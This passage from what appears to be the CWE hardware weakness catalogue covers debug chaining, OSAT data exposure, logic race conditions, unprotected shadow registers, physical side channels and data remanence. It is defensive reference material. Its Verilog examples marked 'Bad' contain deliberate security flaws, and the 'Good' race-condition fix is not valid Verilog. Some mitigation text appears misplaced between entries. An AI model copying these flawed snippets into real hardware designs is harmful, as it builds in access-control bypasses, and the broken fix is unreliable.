**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	Medium
Integrity	Bypass Protection Mechanism	
Access Control	Execute Unauthorized Code or Commands	
Authentication	Modify Memory	
Authorization	Modify Files or Directories	
Availability	<i>Depending on the access to debug component(s) erroneously granted, an attacker could use the debug component to gain additional understanding about the system to further an attack and/or execute other commands. This could compromise any security property, including the ones listed above.</i>	
Accountability		

## Detection Methods

### Architecture or Design Review

Appropriate Post-Si tests should be carried out at various authorization levels to ensure that debug components are properly chained and accessible only to users with appropriate credentials.

*Effectiveness = High*

## Dynamic Analysis with Manual Results Interpretation

Appropriate Post-Si tests should be carried out at various authorization levels to ensure that debug components are properly chained and accessible only to users with appropriate credentials.

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

Ensure that debug components are properly chained and their granularity is maintained at different authentication levels.

## Demonstrative Examples

### Example 1:

The following example shows how an attacker can take advantage of incorrect chaining or missing granularity of debug components.

In a System-on-Chip (SoC), the user might be able to access the SoC-level TAP with a certain level of authorization. However, this access should not also grant access to all of the internal TAPs (e.g., Core). Separately, if any of the internal TAPs is also stitched to the TAP chain when it should not be because of a logic error, then an attacker can access the internal TAPs as well and execute commands there.


As a related example, suppose there is a hierarchy of TAPs (TAP\_A is connected to TAP\_B and TAP\_C, then TAP\_B is connected to TAP\_D and TAP\_E, then TAP\_C is connected to TAP\_F and TAP\_G, etc.). Architecture mandates that the user have one set of credentials for just accessing TAP\_A, another set of credentials for accessing TAP\_B and TAP\_C, etc. However, if, during implementation, the designer mistakenly implements a daisy-chained TAP where all the TAPs are connected in a single TAP chain without the hierarchical structure, the correct granularity of debug components is not implemented and the attacker can gain unauthorized access.

## Observed Examples

Reference	Description
<b>CVE-2017-18347</b>	Incorrect access control in RDP Level 1 on STMicroelectronics STM32F0 series devices allows physically present attackers to extract the device's protected firmware via a special sequence of Serial Wire Debug (SWD) commands because there is a race condition between full initialization of the SWD interface and the setup of flash protection. <a href="https://www.cve.org/CVERecord?id=CVE-2017-18347">https://www.cve.org/CVERecord?id=CVE-2017-18347</a>
<b>CVE-2020-1791</b>	There is an improper authorization vulnerability in several smartphones. The system has a logic-judging error, and, under certain scenarios, a successful exploit could allow the attacker to switch to third desktop after a series of operations in ADB mode. (Vulnerability ID: HWPSIRT-2019-10114). <a href="https://www.cve.org/CVERecord?id=CVE-2020-1791">https://www.cve.org/CVERecord?id=CVE-2020-1791</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1207	Debug and Test Problems	<input checked="" type="checkbox"/>	1194 2267

## Notes

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
702	Exploiting Incorrect Chaining or Granularity of Hardware Debug Components

## CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors

**Weakness ID** : 1297

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not adequately protect confidential information on the device from being accessed by Outsourced Semiconductor Assembly and Test (OSAT) vendors.

### Extended Description

In contrast to complete vertical integration of architecting, designing, manufacturing, assembling, and testing chips all within a single organization, an organization can choose to simply architect and design a chip before outsourcing the rest of the process to OSAT entities (e.g., external foundries and test houses). In the latter example, the device enters an OSAT facility in a much more vulnerable pre-production stage where many debug and test modes are accessible. Therefore, the chipmaker must place a certain level of trust with the OSAT. To counter this, the chipmaker often requires the OSAT partner to enter into restrictive non-disclosure agreements (NDAs). Nonetheless, OSAT vendors likely have many customers, which increases the risk of accidental sharing of information. There may also be a security vulnerability in the information technology (IT) system of the OSAT facility. Alternatively, a malicious insider at the OSAT facility may carry out an insider attack. Considering these factors, it behooves the chipmaker to minimize any confidential information in the device that may be accessible to the OSAT vendor.

Logic errors during design or synthesis could misconfigure the interconnection of the debug components, which could provide improper authorization to sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	Medium
Integrity	Bypass Protection Mechanism	
Access Control	Execute Unauthorized Code or Commands	
Authentication	Modify Memory	
Authorization	Modify Files or Directories	
Availability	<i>The impact depends on the confidential information itself and who is inadvertently granted access. For example, if the confidential information is a key that can unlock all the parts of a generation, the impact could be severe.</i>	
Accountability		
Non-Repudiation		

## Detection Methods

### Architecture or Design Review

Appropriate Post-Si tests should be carried out to ensure that residual confidential information is not left on parts leaving one facility for another facility.

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

Appropriate Post-Si tests should be carried out to ensure that residual confidential information is not left on parts leaving one facility for another facility.

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Architecture and Design

Ensure that when an OSAT vendor is allowed to access test interfaces necessary for preproduction and returned parts, the vendor only pulls the minimal information necessary. Also, architect the product in such a way that, when an "unlock device" request comes, it only unlocks that specific part and not all the parts for that product line. Ensure that the product's non-volatile memory (NVM) is scrubbed of all confidential information and secrets before handing it over to an OSAT. Arrange to secure all communication between an OSAT facility and the chipmaker.

*Effectiveness = Moderate*

## Demonstrative Examples

### Example 1:

The following example shows how an attacker can take advantage of a piece of confidential information that has not been protected from the OSAT.

Suppose the preproduction device contains NVM (a storage medium that by definition/design can retain its data without power), and this NVM contains a key that can unlock all the parts for that generation. An OSAT facility accidentally leaks the key.

Compromising a key that can unlock all the parts of a generation can be devastating to a chipmaker.

The likelihood of such a compromise can be reduced by ensuring all memories on the preproduction device are properly scrubbed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1195	Manufacturing and Life Cycle Management Concerns	1194	2262

## Notes

### Maintenance

This entry might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear); SCOPE.HUMANPROC (Human/organizational process; and/or SCOPE.CUSTREL (Not customer-relevant).

### Maintenance

This entry is still under development and will continue to see updates and content improvements.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

## References

[REF-1113]Muhammad Yasin, Abhrajit Sengupta, Mohammed Thari Nabeel, Mohammed Ashraf, Jeyavijayan (JV) Rajendran and Ozgur Sinanoglu. "Provably-Secure Logic Locking: From Theory To Practice". < <https://dl.acm.org/doi/10.1145/3133956.3133985> >.

[REF-1114]Muhammad Yasin, Jeyavijayan (JV) Rajendran and Ozgur Sinanoglu. "Trustworthy Hardware Design: Combinational Logic Locking Techniques". < <https://link.springer.com/book/10.1007/978-3-030-15334-2> >.

## CWE-1298: Hardware Logic Contains Race Conditions

**Weakness ID** : 1298

**Structure** : Simple

**Abstraction** : Base

### Description

A race condition in the hardware logic results in undermining security guarantees of the system.


### Extended Description

A race condition in logic circuits typically occurs when a logic gate gets inputs from signals that have traversed different paths while originating from the same source. Such inputs to the gate can change at slightly different times in response to a change in the source signal. This results in a timing error or a glitch (temporary or permanent) that causes the output to change to an unwanted state before settling back to the desired state. If such timing errors occur in access control logic or finite state machines that are implemented in security sensitive flows, an attacker might exploit them to circumvent existing protections.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841

### Applicable Platforms

**Language** : Verilog (*Prevalence = Undetermined*)

**Language** : VHDL (Prevalence = Undetermined)

**Technology** : System on Chip (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity Alter Execution Logic	

### Potential Mitigations

#### Phase: Architecture and Design

Adopting design practices that encourage designers to recognize and eliminate race conditions, such as Karnaugh maps, could result in the decrease in occurrences of race conditions.

#### Phase: Implementation

Logic redundancy can be implemented along security critical paths to prevent race conditions. To avoid metastability, it is a good practice in general to default to a secure state in which access is not given to untrusted agents.

### Demonstrative Examples

#### Example 1:

The code below shows a 2x1 multiplexor using logic gates. Though the code shown below results in the minimum gate solution, it is disjoint and causes glitches.

*Example Language: Verilog*

*(Bad)*

```
// 2x1 Multiplexor using logic-gates
module glitchEx(
    input wire in0, in1, sel,
    output wire z
);
    wire not_sel;
    wire and_out1, and_out2;
    assign not_sel = ~sel;
    assign and_out1 = not_sel & in0;
    assign and_out2 = sel & in1;
    // Buggy line of code:
    assign z = and_out1 | and_out2; // glitch in signal z
endmodule
```

The buggy line of code, commented above, results in signal 'z' periodically changing to an unwanted state. Thus, any logic that references signal 'z' may access it at a time when it is in this unwanted state. This line should be replaced with the line shown below in the Good Code Snippet which results in signal 'z' remaining in a continuous, known, state. Reference for the above code, along with waveforms for simulation can be found in the references below.

*Example Language: Verilog*

*(Good)*

```
assign z <= and_out1 or and_out2 or (in0 and in1);
```

This line of code removes the glitch in signal z.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.



Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions

### References

[REF-1115]Meher Krishna Patel. "FPGA designs with Verilog (section 7.4 Glitches)". < <https://verilogguide.readthedocs.io/en/latest/verilog/fsm.html> >.

[REF-1116]Clifford E. Cummings. "Non-Blocking Assignments in Verilog Synthesis, Coding Styles that Kill!". 2000. < [http://www.sunburst-design.com/papers/CummingsSNUG2000SJ\\_NBA.pdf](http://www.sunburst-design.com/papers/CummingsSNUG2000SJ_NBA.pdf) >.

## CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface

**Weakness ID :** 1299

**Structure :** Simple

**Abstraction :** Base

### Description

The lack of protections on alternate paths to access control-protected assets (such as unprotected shadow registers and other external facing unguarded interfaces) allows an attacker to bypass existing protections to the asset that are only performed against the primary path.

### Extended Description

An asset inside a chip might have access-control protections through one interface. However, if all paths to the asset are not protected, an attacker might compromise the asset through alternate paths. These alternate paths could be through shadow or mirror registers inside the IP core, or could be paths from other external-facing interfaces to the IP core or SoC.

Consider an SoC with various interfaces such as UART, SMBUS, PCIe, USB, etc. If access control is implemented for SoC internal registers only over the PCIe interface, then an attacker could still modify the SoC internal registers through alternate paths by coming through interfaces such as UART, SMBUS, USB, etc.

Alternatively, attackers might be able to bypass existing protections by exploiting unprotected, shadow registers. Shadow registers and mirror registers typically refer to registers that can be accessed from multiple addresses. Writing to or reading from the aliased/mirrored address has the same effect as writing to the address of the main register. They are typically implemented within an IP core or SoC to temporarily hold certain data. These data will later be updated to the main register, and both registers will be in synch. If the shadow registers are not access-protected, attackers could simply initiate transactions to the shadow registers and compromise system security.



### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	288	Authentication Bypass Using an Alternate Path or Channel	664
ChildOf	B	420	Unprotected Alternate Channel	963

Relevant to the view "Hardware Design" (CWE-1194)

Nature	Type	ID	Name	Page
PeerOf		1191	On-Chip Debug and Test Interface With Improper Access Control	1833
PeerOf		1314	Missing Write Protection for Parametric Data Values	2015

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Microcontroller Hardware (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Bus/Interface Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	High
Integrity	Read Memory	
Availability	DoS: Resource Consumption (Other)	
Access Control	Execute Unauthorized Code or Commands	
	Gain Privileges or Assume Identity	
	Alter Execution Logic	
	Bypass Protection Mechanism	
	Quality Degradation	

### Potential Mitigations

#### Phase: Requirements

Protect assets from accesses against all potential interfaces and alternate paths.

*Effectiveness = Defense in Depth*

#### Phase: Architecture and Design

Protect assets from accesses against all potential interfaces and alternate paths.

*Effectiveness = Defense in Depth*

#### Phase: Implementation

Protect assets from accesses against all potential interfaces and alternate paths.

*Effectiveness = Defense in Depth*

### Demonstrative Examples

#### Example 1:

Register `SECURE_ME` is located at address `0xF00`. A mirror of this register called `COPY_OF_SECURE_ME` is at location `0x800F00`. The register `SECURE_ME` is protected from malicious agents and only allows access to select, while `COPY_OF_SECURE_ME` is not.

Access control is implemented using an allowlist (as indicated by `acl_oh_allowlist`). The identity of the initiator of the transaction is indicated by the one hot input, `incoming_id`. This is checked against the `acl_oh_allowlist` (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

Example Language: Verilog

(Informative)

```

module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
    acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1 : 0;
always @ (posedge clk or negedge rst_n)
    if (!rst_n)
        begin
            q <= 32'h0;
            data_out <= 32'h0;
        end
    else
        begin
            q <= (addr_auth & write_auth) ? data_in : q;
            data_out <= q;
        end
    end
endmodule

```

Example Language: Verilog

(Bad)

```
assign addr_auth = (address == 32'hF00) ? 1 : 0;
```

The bugged line of code is repeated in the Bad example above. Weakness arises from the fact that the SECURE\_ME register can be modified by writing to the shadow register COPY\_OF\_SECURE\_ME, the address of COPY\_OF\_SECURE\_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

Example Language: Verilog

(Good)

```
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1 : 0;
```

## Observed Examples

Reference	Description
<b>CVE-2017-18293</b>	When GPIO is protected by blocking access to corresponding GPIO resource registers, protection can be bypassed by writing to the corresponding banked GPIO registers instead. <a href="https://www.cve.org/CVERecord?id=CVE-2017-18293">https://www.cve.org/CVERecord?id=CVE-2017-18293</a>
<b>CVE-2020-15483</b>	monitor device allows access to physical UART debug port without authentication <a href="https://www.cve.org/CVERecord?id=CVE-2020-15483">https://www.cve.org/CVERecord?id=CVE-2020-15483</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	1198	Privilege Separation and Access Control Issues	<input checked="" type="checkbox"/>	1194 2263

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
457	USB Memory Attacks

CAPEC-ID	Attack Pattern Name
554	Functionality Bypass

## CWE-1300: Improper Protection of Physical Side Channels

**Weakness ID** : 1300

**Structure** : Simple

**Abstraction** : Base

### Description

The device does not contain sufficient protection mechanisms to prevent physical side channels from exposing sensitive information due to patterns in physically observable phenomena such as variations in power consumption, electromagnetic emissions (EME), or acoustic emissions.

### Extended Description



An adversary could monitor and measure physical phenomena to detect patterns and make inferences, even if it is not possible to extract the information in the digital domain.

Physical side channels have been well-studied for decades in the context of breaking implementations of cryptographic algorithms or other attacks against security features. These side channels may be easily observed by an adversary with physical access to the device, or using a tool that is in close proximity. If the adversary can monitor hardware operation and correlate its data processing with power, EME, and acoustic measurements, the adversary might be able to recover of secret keys and data.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		203	Observable Discrepancy	497
ParentOf		1255	Comparison Logic is Vulnerable to Power Side-Channel Attacks	1902

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf		203	Observable Discrepancy	497

### Weakness Ordinalities

**Primary** :

**Resultant** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

## Detection Methods

### Manual Analysis

Perform a set of leakage detection tests such as the procedure outlined in the Test Vector Leakage Assessment (TVLA) test requirements for AES [REF-1230]. TVLA is the basis for the ISO standard 17825 [REF-1229]. A separate methodology is provided by [REF-1228]. Note that sole reliance on this method might not yield expected results [REF-1239] [REF-1240].

*Effectiveness = Moderate*

### Manual Analysis

Post-silicon, perform full side-channel attacks (penetration testing) covering as many known leakage models as possible against test code.

*Effectiveness = Moderate*

### Manual Analysis

Pre-silicon - while the aforementioned TVLA methods can be performed post-silicon, models of device power consumption or other physical emanations can be built from information present at various stages of the hardware design process before fabrication. TVLA or known side-channel attacks can be applied to these simulated traces and countermeasures applied before tape-out. Academic research in this field includes [REF-1231] [REF-1232] [REF-1233].

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Architecture and Design

Apply blinding or masking techniques to implementations of cryptographic algorithms.

### Phase: Implementation

Add shielding or tamper-resistant protections to the device to increase the difficulty of obtaining measurements of the side-channel.

## Demonstrative Examples

### Example 1:

Consider a device that checks a passcode to unlock the screen.

*Example Language:*

*(Bad)*

As each character of the PIN number is entered, a correct character exhibits one current pulse shape while an incorrect character exhibits a different current pulse shape.

PIN numbers used to unlock a cell phone should not exhibit any characteristics about themselves. This creates a side channel. An attacker could monitor the pulses using an oscilloscope or other method. Once the first character is correctly guessed (based on the oscilloscope readings), they can then move to the next character, which is much more efficient than the brute force method of guessing every possible sequence of characters.

*Example Language:*

*(Good)*

Rather than comparing each character to the correct PIN value as it is entered, the device could accumulate the PIN in a register, and do the comparison all at once at the end. Alternatively, the components for the comparison could be modified so that the current pulse shape is the same regardless of the correctness of the entered character.

### Example 2:

Consider the device vulnerability CVE-2021-3011, which affects certain microcontrollers [REF-1221]. The Google Titan Security Key is used for two-factor authentication using cryptographic algorithms. The device uses an internal secret key for this purpose and exchanges information based on this key for the authentication. If this internal secret key and the encryption algorithm were known to an adversary, the key function could be duplicated, allowing the adversary to masquerade as the legitimate user.

*Example Language:*

*(Bad)*

The local method of extracting the secret key consists of plugging the key into a USB port and using electromagnetic (EM) sniffing tools and computers.

*Example Language:*

*(Good)*

Several solutions could have been considered by the manufacturer. For example, the manufacturer could shield the circuitry in the key or add randomized delays, indirect calculations with random values involved, or randomly ordered calculations to make extraction much more difficult or a combination of these techniques.

## Observed Examples

Reference	Description
<b>CVE-2021-3011</b>	electromagnetic-wave side-channel in security-related microcontrollers allows extraction of private key <a href="https://www.cve.org/CVERecord?id=CVE-2021-3011">https://www.cve.org/CVERecord?id=CVE-2021-3011</a>
<b>CVE-2013-4576</b>	message encryption software uses certain instruction sequences that allows RSA key extraction using a chosen-ciphertext attack and acoustic cryptanalysis <a href="https://www.cve.org/CVERecord?id=CVE-2013-4576">https://www.cve.org/CVERecord?id=CVE-2013-4576</a>
<b>CVE-2020-28368</b>	virtualization product allows recovery of AES keys from the guest OS using a side channel attack against a power/energy monitoring interface. <a href="https://www.cve.org/CVERecord?id=CVE-2020-28368">https://www.cve.org/CVERecord?id=CVE-2020-28368</a>
<b>CVE-2019-18673</b>	power consumption varies based on number of pixels being illuminated in a display, allowing reading of secrets such as the PIN by using the USB interface to measure power consumption <a href="https://www.cve.org/CVERecord?id=CVE-2019-18673">https://www.cve.org/CVERecord?id=CVE-2019-18673</a>

## Functional Areas

- Power

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List		1343 2352
MemberOf	C	1388	Physical Access Issues and Concerns		1194 2309

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
189	Black Box Reverse Engineering
699	Eavesdropping on a Monitor

## References

[REF-1117]Paul Kocher, Joshua Jaffe and Benjamin Jun. "Introduction to differential power analysis and related attacks". 1998. < <https://www.rambus.com/wp-content/uploads/2015/08/DPATechInfo.pdf> >.



- [REF-1118]Dakshi Agrawal, Bruce Archambeault, Josyula R. Rao and Pankaj Rohatgi. "The EM Side-Channel(s)". 2007 August 4. < [https://link.springer.com/content/pdf/10.1007%2F3-540-36400-5\\_4.pdf](https://link.springer.com/content/pdf/10.1007%2F3-540-36400-5_4.pdf) >.
- [REF-1119]Daniel Genkin, Adi Shamir and Eran Tromer. "RSA key extraction via low-bandwidth acoustic cryptanalysis". 2014 June 3. < <https://www.iacr.org/archive/crypto2014/86160149/86160149.pdf> >.
- [REF-1120]Colin O'Flynn. "Power Analysis for Cheapskates". 2013 January 4. < <https://media.blackhat.com/eu-13/briefings/OFlynn/bh-eu-13-for-cheapstakes-oflynn-wp.pdf> >.
- [REF-1055]Peter Gutmann. "Data Remanence in Semiconductor Devices". 10th USENIX Security Symposium. 2001 August. < [https://www.usenix.org/legacy/events/sec01/full\\_papers/gutmann/gutmann.pdf](https://www.usenix.org/legacy/events/sec01/full_papers/gutmann/gutmann.pdf) >.
- [REF-1218]Graham Cluley. "This Black Box Can Brute Force Crack iPhone PIN Passcodes". The Mac Security Blog. 2015 March 6. < <https://www.intego.com/mac-security-blog/iphone-pin-passcode/> >.
- [REF-1221]Victor Lomne and Thomas Roche. "A Side Journey to Titan". 2021 January 7. < [https://ninja1ab.io/wp-content/uploads/2021/01/a\\_side\\_journey\\_to\\_titan.pdf](https://ninja1ab.io/wp-content/uploads/2021/01/a_side_journey_to_titan.pdf) >.
- [REF-1228]Gilbert Goodwill, Benjamin Jun, Josh Jaffe and Pankaj Rohatgi. "A testing methodology for side-channel resistance validation". 2011. < [https://csrc.nist.gov/csrc/media/events/non-invasive-attack-testing-workshop/documents/08\\_goodwill.pdf](https://csrc.nist.gov/csrc/media/events/non-invasive-attack-testing-workshop/documents/08_goodwill.pdf) >.
- [REF-1229]ISO/IEC. "ISO/IEC 17825:2016: Testing methods for the mitigation of non-invasive attack classes against cryptographic modules". 2016. < <https://www.iso.org/standard/60612.html> >.
- [REF-1230]Cryptography Research Inc.. "Test Vector Leakage Assessment (TVLA) Derived Test Requirements (DTR) with AES". 2015 August. < <https://www.rambus.com/wp-content/uploads/2015/08/TVLA-DTR-with-AES.pdf> >.
- [REF-1231]Danilo Šijačić, Josep Balasch, Bohan Yang, Santosh Ghosh and Ingrid Verbauwhede. "Towards efficient and automated side-channel evaluations at design time". Journal of Cryptographic Engineering, 10(4). 2020. < <https://www.esat.kuleuven.be/cosic/publications/article-3204.pdf> >.
- [REF-1232]Amit Kumar, Cody Scarborough, Ali Yilmaz and Michael Orshansky. "Efficient simulation of EM side-channel attack resilience". IEEE/ACM International Conference on Computer-Aided Design (ICCAD). 2017. < <https://dl.acm.org/doi/pdf/10.5555/3199700.3199717> >.
- [REF-1233]Yuan Yao, Tuna Tufan, Tarun Kathuria, Baris Ege, Ulkuhan Guler and Patrick Schaumont. "Pre-silicon Architecture Correlation Analysis (PACA): Identifying and Mitigating the Source of Side-channel Leakage at Gate-level". 2021 April 1. IACR Cryptology ePrint Archive. < <https://eprint.iacr.org/2021/530.pdf> >.
- [REF-1234]Elisabeth Oswald, Thomas Popp and Stefan Mangard. "Power Analysis Attacks - Revealing the Secrets of Smart Cards". 2007. < <https://www.springer.com/gp/book/9780387308579> >.
- [REF-1235]David Oswald, Bastian Richter and Christof Paar. "Side-Channel Attacks on the Yubikey 2 One-Time Password Generator". 2013 June 4. < [https://www.emsec.ruhr-uni-bochum.de/media/crypto/veroeffentlichungen/2014/02/04/paper\\_yubikey\\_sca.pdf](https://www.emsec.ruhr-uni-bochum.de/media/crypto/veroeffentlichungen/2014/02/04/paper_yubikey_sca.pdf) >.
- [REF-1239]François-Xavier Standaert. "How (not) to Use Welch's T-test in Side-Channel Security Evaluations". 2017 February 5. IACR Cryptology ePrint Archive. < <https://eprint.iacr.org/2017/138.pdf> >.
- [REF-1240]Carolyn Whitnall and Elisabeth Oswald. "A Critical Analysis of ISO 17825 ('Testing methods for the mitigation of non-invasive attack classes against cryptographic modules')". 2019 September 0. IACR Cryptology ePrint Archive. < <https://eprint.iacr.org/2019/1013.pdf> >.



[REF-1285]Texas Instruments. "Physical Security Attacks Against Silicon Devices". 2022 January 1. < <https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420> >.

[REF-1286]Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 2022 March 4. < <https://eprint.iacr.org/2022/328.pdf> >.

## CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component

**Weakness ID** : 1301

**Structure** : Simple

**Abstraction** : Base

### Description

The product's data removal process does not completely delete all data and potentially sensitive information within hardware components.

### Extended Description



Physical properties of hardware devices, such as remanence of magnetic media, residual charge of ROMs/RAMs, or screen burn-in may still retain sensitive data after a data removal process has taken place and power is removed.

Recovering data after erasure or overwriting is possible due to a phenomenon called data remanence. For example, if the same value is written repeatedly to a memory location, the corresponding memory cells can become physically altered to a degree such that even after the original data is erased that data can still be recovered through physical characterization of the memory cells.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information in Resource Not Removed Before Reuse	536
ParentOf		1330	Remanent Data Readable after Memory Erase	2045

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ParentOf		1330	Remanent Data Readable after Memory Erase	2045

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Apply blinding or masking techniques to implementations of cryptographic algorithms.

#### Phase: Implementation

Alter the method of erasure, add protection of media, or destroy the media to protect the data.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1208	Cross-Cutting Problems	1194	2268

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

### References

[REF-1117]Paul Kocher, Joshua Jaffe and Benjamin Jun. "Introduction to differential power analysis and related attacks". 1998. < <https://www.rambus.com/wp-content/uploads/2015/08/DPATechInfo.pdf> >.

[REF-1118]Dakshi Agrawal, Bruce Archambeault, Josyula R. Rao and Pankaj Rohatgi. "The EM Side-Channel(s)". 2007 August 4. < [https://link.springer.com/content/pdf/10.1007%2F3-540-36400-5\\_4.pdf](https://link.springer.com/content/pdf/10.1007%2F3-540-36400-5_4.pdf) >.

[REF-1119]Daniel Genkin, Adi Shamir and Eran Tromer. "RSA key extraction via low-bandwidth acoustic cryptanalysis". 2014 June 3. < <https://www.iacr.org/archive/crypto2014/86160149/86160149.pdf> >.

[REF-1120]Colin O'Flynn. "Power Analysis for Cheapskates". 2013 January 4. < <https://media.blackhat.com/eu-13/briefings/OFlynn/bh-eu-13-for-cheapstakes-oflynn-wp.pdf> >.

